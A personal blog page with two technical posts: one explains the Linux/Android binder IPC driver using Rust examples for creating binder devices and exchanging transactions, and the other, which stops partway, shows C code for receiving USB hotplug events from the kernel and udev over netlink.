ArcaneNibble's site

Demystifying systems programming: Linux (Android) binder driver

2026-05-11T00:00:00+00:00

Introduction

Binder is an IPC mechanism pretty much only used on Android (although it didn't originate there). Even though Android uses a Linux kernel, the software running on top of that kernel looks very different from a "typical" Linux system. Much of what makes Android "actually work like Android" probably involves Binder under the hood.

Linux already has a ton of IPC mechanisms, such as pipes, FIFOs (also called "named pipes"), sockets (networking and networking-adjacent protocols), System V IPC, POSIX IPC (an updated System V IPC), and shared memory. However, binder is… different from all of them. As is typical, I feel it's important to experiment with and understand what these differences are.

This investigation was started because I noticed that, beyond "standard" IPC mechanisms, all of the current major platforms also have their own "special" IPC mechanisms, all somehow slightly different. Linux desktop has D-Bus, Windows has COM, macOS has XPC, and Android has binder. How are these similar or different? Is a Grand Unified Theory of IPC possible? Or is this situation inevitable?

Binder is a rather "opinionated" mechanism designed for efficient remote procedure calls between different processes (on the same computer). These procedures are invoked on "objects" (in the object-oriented programming sense) which binder thus knows about and helps reference-count. It can be compared with "distributed object" frameworks which were popular in the '90s and '00s, except that binder specifically only works on a single computer and doesn't work across a network. This means that binder can have unique features such as immediately switching to and running the recipient thread (rather than waiting for the OS to eventually get around to scheduling it).

Like many of the aforementioned frameworks, binder was also not designed to be used directly but is instead hidden behind many layers of abstraction and code generation tools. However, binder is actually in the upstream Linux kernel, which should (theoretically) mean that it is subject to the same "WE DO NOT BREAK USERSPACE!" guarantees as any other Linux API. This means we can do our own thing from the bottom up, even though there is little help or guidance in doing so.

Setting up

Binder is initially set up using a virtual filesystem called binderfs. To use it, you will need a kernel with the appropriate options enabled. Consult your distro documentation for more information (a number of desktop distributions do have this enabled).

In order to create an instance of a binderfs filesystem, we need to mount it somewhere. For example, as root:

mkdir /tmp/bindertest
mount -t binder binder /tmp/bindertest

If this completes successfully, a binder-control file will be present:

$ ls /tmp/bindertest/
binder-control  features

In order to create a binder device for doing IPC, we need to issue ioctls against the binder-control device. The ABI for these ioctls (or ioctl, singular) is defined in this header file. The following Rust code can be used:

use std::ffi::OsStr;
use std::fmt::Debug;
use std::io;
use std::os::fd::AsRawFd;
use std::os::unix::ffi::OsStrExt;
use std::os::unix::fs::PermissionsExt;
use std::path::PathBuf;
use std::process::ExitCode;

/// The parameters for the device creation command
#[repr(C)]
#[derive(Clone, Copy, PartialEq, Eq)]
pub struct binderfs_device {
    /// Device filename
    pub name: [u8; 256],
    /// Major device number, returned by kernel
    pub major: u32,
    /// Minor device number, returned by kernel
    pub minor: u32,
}
impl Default for binderfs_device {
    fn default() -> Self {
        Self {
            name: [0; 256],
            major: 0,
            minor: 0,
        }
    }
}
impl Debug for binderfs_device {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        f.debug_struct("binderfs_device")
            .field("name", &OsStr::from_bytes(&self.name))
            .field("major", &self.major)
            .field("minor", &self.minor)
            .finish()
    }
}

fn main() -> io::Result<ExitCode> {
    let args = std::env::args_os().collect::<Vec<_>>();

    if args.len() < 3 {
        println!(
            "Usage: {} /path/of/binderfs devname",
            args[0].to_string_lossy()
        );
        return Ok(ExitCode::FAILURE);
    }

    let binderfs_path = &args[1];
    let devname = &args[2];

    let devname_bytes = devname.as_bytes();
    if devname_bytes.len() > 255 {
        println!("devname is too long (max 255 chars)");
        return Ok(ExitCode::FAILURE);
    }

    // Open binder-control
    let mut binderfs_control = PathBuf::from(binderfs_path);
    binderfs_control.push("binder-control");

    let binderfs_control_file = std::fs::File::open(binderfs_control)?;
    let mut perm_0666 = binderfs_control_file.metadata()?.permissions();
    perm_0666.set_mode(0o666);
    let binderfs_control_fd = binderfs_control_file.as_raw_fd();

    // Set up args
    let mut ioctl = binderfs_device::default();
    ioctl.name[..devname_bytes.len()].copy_from_slice(devname_bytes);

    // Make the syscall
    let ret = unsafe {
        libc::ioctl(
            binderfs_control_fd,
            libc::_IOWR::<binderfs_device>(b'b' as u32, 1),
            &mut ioctl,
        )
    };
    if ret < 0 {
        return Err(io::Error::last_os_error());
    }

    // chmod to 0666 so we don't have to run other commands as root later
    let mut binder_result_path = PathBuf::from(binderfs_path);
    binder_result_path.push(devname);
    std::fs::set_permissions(binder_result_path, perm_0666)?;

    Ok(ExitCode::SUCCESS)
}

If we compile this code and then run it as root, we should get:

$ sudo ./target/debug/makebinder /tmp/bindertest binder
$ ls /tmp/bindertest/
binder  binder-control  features

Notice the binder device which we have now created!

As explained in the kernel documentation, binder devices can be deleted using commands such as rm.

Understanding Linux ioctls and UAPI headers

ioctl is a system call for performing driver-specific operations on a file. This… isn't exactly well-defined, and different drivers can use this to do wildly different things. For example, one of the earliest uses of ioctl was to control terminals, pseudoterminals, and serial ports. Many Linux hardware driver APIs, such as for USB or 3D graphics, use ioctl to submit requests. In our case, binder uses ioctl to do basically everything (instead of, for example, using read/write or adding new dedicated system calls).

ioctl requests contain a command (which is a number) and optionally a pointer to some more data. Although this command can be any number, Linux has a convention to help organize the numbers being used. This convention breaks the number up into a subsystem (called type), a command (called nr), the size of the additional data, and the expected direction that data will be transferred.

Some of the reasons for organizing the command numbers this way are:

to help reduce the chances that sending a command to the wrong driver will accidentally do something random (instead, the number wouldn't be recognized, because the subsystem would be different)
to allow the additional data to be changed in the future (changing the size of the data changes the ioctl command number, so it is possible to tell the difference between old and new versions)
to allow programming languages to try to check that the correct data was passed (this is not possible in C, but a better Rust ioctl API could theoretically do this)

The uAPI (userspace API) header file for binderfs defines a single ioctl:

#define BINDER_CTL_ADD _IOWR('b', 1, struct binderfs_device)

According to the Linux convention, the subsystem is the value 'b' (or 98 in decimal) and the actual command number is 1. The data is both sent to and received back from the kernel (WR), and the type of this data is struct binderfs_device. This struct is defined above in the header file, and we have translated it to its Rust equivalent.

When we issue the ioctl call, we specify the name field only. When the call is finished, the kernel modifies the data we pass in and tells us the major and minor device numbers of the binder device we just created. We don't actually have a use for this, and so we ignore it. However, because the kernel writes to the struct we pass in, it is important to pass a &mut pointer.

The binder device node itself (rather than the binder-control file) has these ioctls.

Opening a binder device

A binder device node can be opened just like a regular file:

let devname = &args[1];
let binder_file = std::fs::File::open(devname)?;
let binder_fd = binder_file.as_raw_fd();
dbg!(binder_fd);

Interestingly, it does not seem to matter what open mode is used, and so the normal Rust std::fs::File::open works just fine. However, we need to extract the raw file descriptor in order to do anything useful with the file (normal reading and writing doesn't work).

One of binder's special optimizations (because it's designed specifically for local RPC) is that it can copy data directly from one program to another, without making an extra copy inside the kernel. This is in contrast to a pipe which more-or-less is explicitly a buffer inside the kernel. This is also slightly different from shared memory in that the kernel handles memory allocation in the recipient process (and so the two processes do not share the exact same memory layout).

In order for a user program to coordinate with the kernel where to put this data, it uses the mmap syscall:

let mmap_addr = unsafe {
    libc::mmap(
        ptr::null_mut(),
        1024 * 1024,
        libc::PROT_READ,
        libc::MAP_PRIVATE | libc::MAP_NORESERVE,
        binder_fd,
        0,
    )
};
if mmap_addr as isize == -1 {
    return Err(io::Error::last_os_error());
}
dbg!(mmap_addr);

This code allocates 1 MiB of total space that the kernel will allocate from to store data received from other programs. Because the kernel is in control of managing this space, it only allows your program to map it read-only (PROT_READ). This prevents race conditions between the user program and the kernel.

To actually do anything useful, we use ioctl as mentioned. The most basic ioctl checks the supported API version:

pub fn binder_version(fd: i32) -> io::Result<i32> {
    let mut ver = 0;

    let ret = unsafe { libc::ioctl(fd, libc::_IOWR::<i32>(b'b' as u32, 9), &mut ver) };
    if ret < 0 {
        return Err(io::Error::last_os_error());
    }

    Ok(ver)
}

This ioctl is declared in the C header as exchanging a binder_version struct. However, this struct has the following contents:

/* Use with BINDER_VERSION, driver fills in fields. */
struct binder_version {
    /* driver protocol version -- increment with incompatible change */
    __s32       protocol_version;
};

This means that the struct has the exact same size and layout as a 32-bit signed integer, so we can cheat in our Rust code and perform the ioctl with an i32. Cheating in this way might complicate handling future upgrades to the protocol, however (e.g. if additional fields are added to the struct).

Combining all of the above code into a complete program might output something like the following:

[src/bin/server.rs:22:5] binder_fd = 3
[src/bin/server.rs:37:5] mmap_addr = 0x00007f886e684000
[src/bin/server.rs:39:5] binder_version(binder_fd)? = 8

The version 8 matches the uAPI header file, and a proper program should check that the version is as expected (our example code will print it out but won't bother verifying).

Bootstrapping

Binder RPCs are made on objects. Now that we've opened a binder device node, how do we get hold of an object to send requests to? Other programs can send us object references in reply to our own RPCs (discussed later), but how do we get a first object?

This is a classic bootstrapping problem encountered by many microkernel operating systems, and the usual solution is to make a single special global bootstrapping service. In binder, this is called the context manager in the driver layer or ServiceManager in the Android OS core. Calls can be made to this manager by using an object reference with a value of 0.

In our case, we designate one process as the context manager by making the BINDER_SET_CONTEXT_MGR ioctl:

pub fn binder_set_context_mgr(fd: i32) -> io::Result<()> {
    let zero = 0i32;
    let ret = unsafe { libc::ioctl(fd, libc::_IOW::<i32>(b'b' as u32, 7), &zero) };
    if ret < 0 {
        return Err(io::Error::last_os_error());
    }

    Ok(())
}

The driver will only allow one program to do this.

Becoming a server

When making a RPC, binder refers to the process making the call as the client and the process handling the call as the server. These client and server roles change if the (initial) server goes on to make a further RPC, called a nested transaction. The initial server can even make a RPC back to the initial client. Contrast this with a "networking" architecture (e.g. HTTP) where "server" and "client" are much more clearly distinct roles at a process level rather than at a transaction level.

For our simple demonstration, we will make one program that only ever acts as a server and a second program that makes one request (acting as a client) and then exits. This wouldn't work properly in the general case for something like Android, but it is enough to explore the principles.

In order for the binder driver to actually send us requests, we need to send the driver the BC_ENTER_LOOPER command, which… isn't an ioctl, even though it looks like one. The reason this command is necessary is because binder knows about (and somewhat controls, see BR_SPAWN_LOOPER) process thread pools as part of its scheduling tricks. If binder does not know that our server process is ready to handle requests, it won't deliver any to the process.

Turtles all the way down (binder commands)

Binder commands are sent inside a BINDER_WRITE_READ ioctl. This allows multiple commands to be sent (and multiple replies to be received) in a single system call, which reduces the overhead of switching between user and kernel mode.

Confusingly, even though commands look exactly like ioctls (using the same _IO* macros), they are not!

The payload for the BINDER_WRITE_READ ioctl is a struct binder_write_read which contains pointers to two byte buffers:

struct binder_write_read {
    binder_size_t       write_size; /* bytes to write */
    binder_size_t       write_consumed; /* bytes consumed by driver */
    binder_uintptr_t    write_buffer;
    binder_size_t       read_size;  /* bytes to read */
    binder_size_t       read_consumed;  /* bytes consumed by driver */
    binder_uintptr_t    read_buffer;
};

Commands and returned data are packed (serialized) into these buffers. They consist of a 32-bit number (a member of either the binder_driver_command_protocol or binder_driver_return_protocol enum) followed by the payload data as indicated by the _IO* constants. Note that this will not necessarily have the proper alignment for the struct!

This is probably best explained with an example. To send the BC_ENTER_LOOPER command, the data looks like this:

In this case, there is only one command and no payload, so the entire buffer is 32 bits or 4 bytes.

Making a client RPC request

At this point, we have a basic server that would be sent requests (even though it currently doesn't know how to reply). We will now skip over to working on a client.

A client will need to open a binder device and call mmap just like the server, but then it can issue a BC_TRANSACTION command. Clients do not need to send BC_ENTER_LOOPER. In the serialized buffer, this command is followed by a struct binder_transaction_data.

Inside this struct, target.handle is set to 0 in order to communicate with the context manager. code contains the function to be executed (which can be any number the client and server agree upon). Finally, buffer points to the data to be transferred, and data_size is its size (offsets will be explained later).

To send a transaction, our example code does this:

let datadatadata = b"Hello world!";
let mut txn_data = binder_transaction_data::default();
txn_data.code = 12345;
txn_data.buffer = datadatadata.as_ptr() as *const libc::c_void;
txn_data.data_size = datadatadata.len();
let mut txn = [0u8; std::mem::size_of::<binder_transaction_data>() + 4];
txn[..4].copy_from_slice(&BC_TRANSACTION.to_ne_bytes());
txn[4..].copy_from_slice((&txn_data).into());
binder_write(binder_fd, &txn)?;

As a diagram, this looks like this:

Notice that the binder_transaction_data has an alignment of 8 bytes, but it is packed, unaligned, at an offset of +4 bytes into the buffer!

Finally, we wait for a reply, print it out, and then exit:

'outer: loop {
    let rdata = binder_read(binder_fd)?;
    let mut rdata = rdata.as_slice();

    while rdata.len() > 4 {
        let rep = u32::from_ne_bytes([rdata[0], rdata[1], rdata[2], rdata[3]]);
        rdata = &rdata[4..];

        match rep {
            BR_NOOP => println!("BR_NOOP"),
            BR_TRANSACTION_COMPLETE => println!("BR_TRANSACTION_COMPLETE"),
            BR_REPLY => {
                println!("BR_REPLY");
                if let Some((reply, new_rdata)) = binder_transaction_data::try_from_bytes(rdata)
                {
                    rdata = new_rdata;
                    let _ = rdata;
                    println!("{:#x?}", reply);
                    break 'outer;
                }
            }
            _ => println!("Unknown reply 0x{:08x}", rep),
        }
    }
}

Implementing the server

On the server, we need a similar loop to handle requests:

loop {
    let rdata = binder_read(binder_fd)?;
    let mut rdata = rdata.as_slice();

    while rdata.len() > 4 {
        let rep = u32::from_ne_bytes([rdata[0], rdata[1], rdata[2], rdata[3]]);
        rdata = &rdata[4..];

        match rep {
            BR_NOOP => println!("BR_NOOP"),
            BR_TRANSACTION => {
                println!("BR_TRANSACTION");
                if let Some((txn, new_rdata)) = binder_transaction_data::try_from_bytes(rdata) {
                    rdata = new_rdata;
                    println!("{:#x?}", txn);

                    let mut reply_data = binder_transaction_data::default();

                    match txn.code {
                        12345 => {
                            let test_data = unsafe {
                                std::slice::from_raw_parts(
                                    txn.buffer as *const u8,
                                    txn.data_size,
                                )
                            };
                            println!("Test command! {}", String::from_utf8_lossy(test_data));
                            reply_data.flags = TF_STATUS_CODE;
                            reply_data.code = 0xfeedface;
                        }
                        _ => {
                            println!("Unknown command {}", txn.code);
                            reply_data.flags = TF_STATUS_CODE;
                            reply_data.code = 0xdeadbeef;
                        }
                    }

                    let mut reply =
                        [0u8; std::mem::size_of::<binder_transaction_data>() + 4 + 8 + 4];
                    reply[0..4].copy_from_slice(&BC_FREE_BUFFER.to_ne_bytes());
                    reply[4..12].copy_from_slice(&(txn.buffer as usize).to_ne_bytes());
                    reply[12..16].copy_from_slice(&BC_REPLY.to_ne_bytes());
                    reply[16..].copy_from_slice((&reply_data).into());
                    binder_write(binder_fd, &reply)?;
                } else {
                    break;
                }
            }
            _ => println!("Unknown reply 0x{:08x}", rep),
        }
    }
}

This code also demonstrates how multiple commands can be sent in the same ioctl:

Because the kernel allocates memory to store received data, we need to ask the kernel to free it by using the BC_FREE_BUFFER command. For efficiency, we can perform the BC_REPLY at the same time. The binder driver magically knows that the BC_REPLY corresponds to the transaction we just read.

Putting it all together

The complete code for this demonstration can be found here.

Running the server in one terminal window and then running the client twice will output something like the following:

$ ./target/debug/server /tmp/bindertest/binder
[src/bin/server.rs:22:5] binder_fd = 3
[src/bin/server.rs:37:5] mmap_addr = 0x00007f6f8405a000
[src/bin/server.rs:39:5] binder_version(binder_fd)? = 8
BR_NOOP
BR_TRANSACTION
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0x3039,
    flags: 0x0,
    sender_pid: 0x1f873,
    sender_euid: 0x3e8,
    data_size: 0xc,
    offsets_size: 0x0,
    buffer: 0x00007f6f8405a000,
    offsets: 0x0000000000000000,
}
Test command! Hello world!
BR_NOOP
BR_NOOP
BR_TRANSACTION
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0x3039,
    flags: 0x0,
    sender_pid: 0x1f87d,
    sender_euid: 0x3e8,
    data_size: 0xc,
    offsets_size: 0x0,
    buffer: 0x00007f6f8405a000,
    offsets: 0x0000000000000000,
}
Test command! Hello world!
BR_NOOP

$ ./target/debug/client /tmp/bindertest/binder
[src/bin/client.rs:22:5] binder_fd = 3
[src/bin/client.rs:37:5] mmap_addr = 0x00007ff7f645f000
[src/bin/client.rs:39:5] binder_version(binder_fd)? = 8
BR_NOOP
BR_TRANSACTION_COMPLETE
BR_REPLY
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0xfeedface,
    flags: 0x8,
    sender_pid: 0x0,
    sender_euid: 0x3e8,
    data_size: 0x0,
    offsets_size: 0x0,
    buffer: 0x00007ff7f645f000,
    offsets: 0x0000000000000000,
}
$ ./target/debug/client /tmp/bindertest/binder
[src/bin/client.rs:22:5] binder_fd = 3
[src/bin/client.rs:37:5] mmap_addr = 0x00007fc1dd451000
[src/bin/client.rs:39:5] binder_version(binder_fd)? = 8
BR_NOOP
BR_TRANSACTION_COMPLETE
BR_REPLY
binder_transaction_data {
    target: _handle_or_ptr(
        0x0000000000000000,
    ),
    cookie: 0x0000000000000000,
    code: 0xfeedface,
    flags: 0x8,
    sender_pid: 0x0,
    sender_euid: 0x3e8,
    data_size: 0x0,
    offsets_size: 0x0,
    buffer: 0x00007fc1dd451000,
    offsets: 0x0000000000000000,
}

Notice that the buffer returned from the kernel is always within the mmaped memory region, and that the server has access to the process ID and user ID of the sending process.

Going further

In addition to just transferring bytes, binder allows transferring structured data. The list of offsets of this structured data within the buffer to be transferred is passed in the offsets field of the binder_transaction_data struct. Each piece of structured data starts with a binder_object_header which contains a 32-bit integer.

A "binder" object is the "objects on which methods can be invoked" that the binder driver keeps track of. When sending a "binder" object to another process, the binder driver maps it to a "handle" object. This can be sent to further processes (updating reference counts), but it is turned back into a "binder" object when sent to the process it originated from. In the original process, a "binder" object is a pointer-sized value. In other processes, "handles" are 32-bit numbers.

It is also possible to send either a file descriptor or an array of file descriptors. This clones the file descriptor into the recipient process, similar to sending SCM_RIGHTS over a unix domain socket.

Finally, it is possible to send a set of buffers, and the binder driver can fix up pointers to these buffers so that they are adjusted for the recipent process address space. Using this, complex data structures can be sent.

Unfortunately, there is not a lot of documentation on how this all works at a low level. Some useful resources I found include the following:

Hardware hotplug events on Linux, the gory details

2026-03-01T00:00:00+00:00

tl;dr go here

One day, I suddenly wondered how to detect when a USB device is plugged or unplugged from a computer running Linux. For most users, this would be solved by relying on libusb. However, the use case I was investigating might not actually want to do so, and so this led me down a poorly-documented rabbit hole.

udev

By browsing the libusb source code, we can see that there are two hotplug backends: linux_netink.c and linux_udev.c. What is the difference?

If we pull up the original commit introducing those files, the commit description reads:

Add hotplug support to the Linux backend.

There are two ways to configure hotplug support for Linux: udev, and netlink. It is strongly recommened that udev support is used on systems that utilize udev. We reenforce this recommendation by defaulting to --with-udev=yes at configure time. To enable netlink support run configure with --with-udev=no. If udev support is enabled all device enumeration is done with udev.

I've certainly encountered udev before (usually in the context of changing permissions of USB devices so that I can access them without being root), but I suppose it's time to look deeper into what it actually does.

Fortunately, Free Electrons / Bootlin has the history well-covered. TL;DR, the kernel uses netlink to tell udev about devices, udev does its necessary handling of them, and then udev re-broadcasts these events to every other program interested in them.

The reason libusb so strongly recommends using the udev mechanism is to avoid race conditions. For example, udev might be in the process of changing Unix permissions, uploading firmware, or mode-switching USB devices.

But… how do we listen for these rebroadcasted events? Can we do it without linking in libudev? What IPC mechanisms are actually in use here? It turns out that udev and libudev have long since been folded into systemd while I wasn't looking. We're going to have to dive into the code and have a look.

netlink

Before continuing further, it might be necessary to give a brief overview of netlink. Netlink is a Linux-specific "network protocol" used to communicate usually between the kernel and userspace, using the BSD sockets API. It is particularly suitable for the kernel sending notifications to userspace (unlike syscalls which need to be initiated by userspace).

Netlink passes datagrams (like UDP) but can also pass ancillary data (like Unix domain sockets). Netlink also supports a somewhat-limited multicast capability, where many programs can receive events sent by one source.

Example code

At this point, it might be easier to have some code to reference:

#define _GNU_SOURCE
#include <ctype.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/socket.h>

// Define netlink data types, so that we don't need linux-specific header files to compile this
#define NETLINK_KOBJECT_UEVENT 15
#define MONITOR_GROUP_KERNEL 1
#define MONITOR_GROUP_UDEV 2

struct sockaddr_nl {
    sa_family_t nl_family;
    unsigned short nl_pad;
    uint32_t nl_pid;
    uint32_t nl_groups;
};

// MurmurHash2 (copy-pasta)
uint32_t MurmurHash2 ( const void * key, int len, uint32_t seed ) {
    // 'm' and 'r' are mixing constants generated offline.
    // They're not really 'magic', they just happen to work well.

    const uint32_t m = 0x5bd1e995;
    const int r = 24;

    // Initialize the hash to a 'random' value

    uint32_t h = seed ^ len;

    // Mix 4 bytes at a time into the hash

    const unsigned char * data = (const unsigned char *)key;

    while (len >= 4) {
        uint32_t k = *(uint32_t*)data;

        k *= m;
        k ^= k >> r;
        k *= m;

        h *= m;
        h ^= k;

        data += 4;
        len -= 4;
    }

    // Handle the last few bytes of the input array

    switch(len) {
    case 3: h ^= data[2] << 16; /* fall through */
    case 2: h ^= data[1] << 8;  /* fall through */
    case 1: h ^= data[0];       /* fall through */
        h *= m;
    };

    // Do a few final mixes of the hash to ensure the last few
    // bytes are well-incorporated.

    h ^= h >> 13;
    h *= m;
    h ^= h >> 15;

    return h;
}

// Helper function to print a hexdump (mostly not used)
void hexdump(unsigned char *x, size_t sz) {
    size_t i;
    for (i = 0; i < (sz + 15) / 16 * 16; i += 16) {
        // header
        printf("%08zx:\t", i);

        // hex
        for (size_t j = 0; j < 16; j++) {
            if (i + j >= sz) {
                printf("   ");
            } else {
                printf("%02x ", x[i + j]);
            }
        }

        // ascii
        printf("\t");
        for (size_t j = 0; j < 16; j++) {
            if (i + j >= sz) {
                putchar(' ');
            } else {
                unsigned char c = x[i + j];
                if (isprint(c))
                    putchar(c);
                else
                    putchar('.');
            }
        }

        // newline
        printf("\n");
    }
}

// Print a line of * characters
void print_stars() {
    for (int _ = 0; _ < 80; _++)
        putchar('*');
    putchar('\n');
}

void print_kern_uevent_pkt(void *buf, size_t bufsz) {
    // The buffer is a set of null-terminated strings (we blindly trust the kernel on this)
    while (bufsz) {
        int this_sz = printf("%s\n", (char *)buf);
        buf += this_sz;
        bufsz -= this_sz;
    }
}

struct udev_packet_header {
    // contains "libudev" with a null terminator
    char libudev_magic[8];
    // contains 0xfeedcafe (big-endian)
    uint32_t magic;
    // size of this header. *native* endian
    uint32_t header_sz;

    // offset to the (null-terminated strings) properties. *native* endian
    uint32_t properties_off;
    // size of the properties. *native* endian
    uint32_t properties_len;

    // hashes etc for filtering. big-endian
    uint32_t subsystem_hash;
    uint32_t devtype_hash;
    uint32_t tag_bloom_hi;
    uint32_t tag_bloom_lo;
};

char *startswith(char *buf, size_t sz, const char *thing) {
    size_t thinglen = strlen(thing);

    if (sz < thinglen)
        return 0;

    if (!memcmp(buf, thing, thinglen))
        return buf + thinglen;

    return 0;
}

void print_udev_pkt(void *buf, size_t bufsz) {
    struct udev_packet_header hdr;

    if (bufsz < sizeof(hdr)) {
        printf("Invalid packet!\n");
        hexdump(buf, bufsz);
        return;
    }

    memcpy(&hdr, buf, sizeof(hdr));
    // Munge header endianness
    hdr.magic = ntohl(hdr.magic);
    hdr.subsystem_hash = ntohl(hdr.subsystem_hash);
    hdr.devtype_hash = ntohl(hdr.devtype_hash);
    hdr.tag_bloom_hi = ntohl(hdr.tag_bloom_hi);
    hdr.tag_bloom_lo = ntohl(hdr.tag_bloom_lo);

    if (memcmp(hdr.libudev_magic, "libudev", 8) || hdr.magic != 0xfeedcafe) {
        printf("Invalid packet magic!\n");
        hexdump(buf, bufsz);
        return;
    }

    print_kern_uevent_pkt(buf + hdr.properties_off, hdr.properties_len);

    // Compute udev hashes
    uint32_t actual_subsystem_hash = 0;
    uint32_t actual_devtype_hash = 0;
    uint64_t actual_bloom_filter = 0;

    uint32_t propsz = hdr.properties_len;
    char *prop = buf + hdr.properties_off;
    while (propsz) {
        size_t proplen = strlen(prop);

        // Special properties
        char *val;
        if ((val = startswith(prop, propsz, "SUBSYSTEM=")))
            actual_subsystem_hash = MurmurHash2(val, strlen(val), 0);
        else if ((val = startswith(prop, propsz, "DEVTYPE=")))
            actual_devtype_hash = MurmurHash2(val, strlen(val), 0);
        else if ((val = startswith(prop, propsz, "TAGS="))) {
            // skip leading :
            val++;

            size_t tagslen = strlen(val);
            while (tagslen) {
                // Find ':' char separator
                size_t tagentsz = strchr(val, ':') - val;
                uint32_t taghash = MurmurHash2(val, tagentsz, 0);

                // Bloom filter impl
                const uint32_t mask = 0b111111;
                actual_bloom_filter |= 1ULL << ((taghash >> 0) & mask);
                actual_bloom_filter |= 1ULL << ((taghash >> 6) & mask);
                actual_bloom_filter |= 1ULL << ((taghash >> 12) & mask);
                actual_bloom_filter |= 1ULL << ((taghash >> 18) & mask);

                val += tagentsz + 1;
                tagslen -= tagentsz + 1;
            }
        }

        prop += proplen + 1;
        propsz -= proplen + 1;
    }

    // Print out the udev special fields
    printf("\n");
    if (hdr.subsystem_hash != actual_subsystem_hash)
        printf("Subsystem hash expected %08x actual %08x\n", hdr.subsystem_hash, actual_subsystem_hash);
    else
        printf("Subsystem hash %08x\n", hdr.subsystem_hash);
    if (hdr.devtype_hash != actual_devtype_hash)
        printf("DevType hash expected %08x actual %08x\n", hdr.devtype_hash, actual_devtype_hash);
    else
        printf("DevType hash %08x\n", hdr.devtype_hash);
    if (hdr.tag_bloom_hi != actual_bloom_filter >> 32 || hdr.tag_bloom_lo != (actual_bloom_filter & 0xffffffff))
        printf("Bloom filter expected %08x%08x actual %016llx\n", hdr.tag_bloom_hi, hdr.tag_bloom_lo, (unsigned long long)actual_bloom_filter);
    else
        printf("Bloom filter %08x%08x\n", hdr.tag_bloom_hi, hdr.tag_bloom_lo);
}

int main(int argc, char **argv) {
    void *buf = 0;
    size_t buf_sz = 0;

    if (argc < 2) {
        printf("Usage: %s kernel|udev\n", argv[0]);
        return 1;
    }
    int udev_mode = !strcmp(argv[1], "udev");

    if (!udev_mode)
        printf("Listening to kernel events...\n");
    else
        printf("Listening to udev events...\n");

    // Open netlink socket
    int nlsock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_KOBJECT_UEVENT);
    if (nlsock == -1) {
        perror("socket(AF_NETLINK)");
        return -1;
    }
    printf("netlink fd %d\n", nlsock);

    // Enable reading creds
    int one = 1;
    if (setsockopt(nlsock, SOL_SOCKET, SO_PASSCRED, &one, sizeof(one)) == -1) {
        perror("setsockopt(SO_PASSCRED)");
        return -1;
    }

    // Bind netlink socket to events we're interested in
    struct sockaddr_nl sa_nl;
    memset(&sa_nl, 0, sizeof(sa_nl));
    sa_nl.nl_family = AF_NETLINK;
    if (!udev_mode)
        sa_nl.nl_groups = MONITOR_GROUP_KERNEL;
    else
        sa_nl.nl_groups = MONITOR_GROUP_UDEV;
    if (bind(nlsock, (struct sockaddr *)&sa_nl, sizeof(sa_nl)) == -1) {
        perror("bind");
        return -1;
    }

    while (1) {
        // Wait for a packet, and peek how big it is
        ssize_t pkt_sz = recv(nlsock, 0, 0, MSG_PEEK | MSG_TRUNC);
        if (pkt_sz == -1) {
            perror("recv(peeking)");
            return -1;
        }

        if (pkt_sz > buf_sz) {
            buf = realloc(buf, pkt_sz);
            buf_sz = pkt_sz;
        }

        // Actually receive the packet
        union {
            struct cmsghdr cmsg_hdr;
            uint8_t buf[CMSG_SPACE(sizeof(struct ucred))];
        } aux;
        struct iovec iov = {
            .iov_base = buf,
            .iov_len = pkt_sz,
        };
        struct msghdr msg = {
            .msg_name = 0,
            .msg_namelen = 0,
            .msg_iov = &iov,
            .msg_iovlen = 1,
            .msg_control = &aux,
            .msg_controllen = sizeof(aux),
            .msg_flags = 0,
        };
        if (recvmsg(nlsock, &msg, 0) != pkt_sz) {
            perror("recvmsg");
            return -1;
        }
        if (msg.msg_flags & (MSG_TRUNC | MSG_CTRUNC)) {
            printf("truncated message!\n");
            return -1;
        }

        // Print packet
        print_stars();

        struct ucred creds;
        memcpy(&creds, CMSG_DATA(&aux), sizeof(creds));
        printf("pid %d uid %d gid %d\n\n", creds.pid, creds.uid, creds.gid);
        // It may be important to check what uid messages come from, but we don't bother here

        if (!udev_mode)
            print_kern_uevent_pkt(buf, pkt_sz);
        else
            print_udev_pkt(buf, pkt_sz);
    }

    return 0;
}

Listening to kernel events

To listen to the events that the kernel normally sends to udev, we need to create a AF_NETLINK socket with protocol NETLINK_KOBJECT_UEVENT (protocol is not typically used and is 0 for TCP and UDP, but we do need to specify it here):

int nlsock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_KOBJECT_UEVENT);

We then need to specify which netlink multicast groups we want to listen to, using the bind syscall:

struct sockaddr_nl sa_nl;
memset(&sa_nl, 0, sizeof(sa_nl));
sa_nl.nl_family = AF_NETLINK;
sa_nl.nl_groups = MONITOR_GROUP_KERNEL;
bind(nlsock, (struct sockaddr *)&sa_nl, sizeof(sa_nl));

In this case, we want group MONITOR_GROUP_KERNEL which is 1. This is hardcoded in the kernel.

And… that's it! At this point, recv, recvmsg, and similar syscalls can be used to obtain data. The example code above performs some extra work to dynamically resize buffers and to receive Unix credentials, but we can ignore all of that for now.

Kernel event messages

Messages from the kernel consist of a list of null-terminated strings. The following is an example (there are no newlines in the message, but they have been added for readability):

add@/devices/pci0000:00/0000:00:08.1/0000:04:00.3/dwc3.1.auto/xhci-hcd.2.auto/usb4/4-1/4-1.4␀
ACTION=add␀
DEVPATH=/devices/pci0000:00/0000:00:08.1/0000:04:00.3/dwc3.1.auto/xhci-hcd.2.auto/usb4/4-1/4-1.4␀
SUBSYSTEM=usb␀
MAJOR=189␀
MINOR=386␀
DEVNAME=bus/usb/004/003␀
DEVTYPE=usb_device␀
PRODUCT=b95/1790/200␀
TYPE=0/0/0␀
BUSNUM=004␀
DEVNUM=003␀
SEQNUM=7176␀

The first line consists of an "action", @, and a device path under sysfs (i.e. normally at /sys/devices/pci…). The rest of the lines contain key-value pairs that depend on the individual drivers and subsystems in the kernel. udev is then expected to match this information with rules it knows about in order to set up the new device.

Listening to udev rebroadcasted events

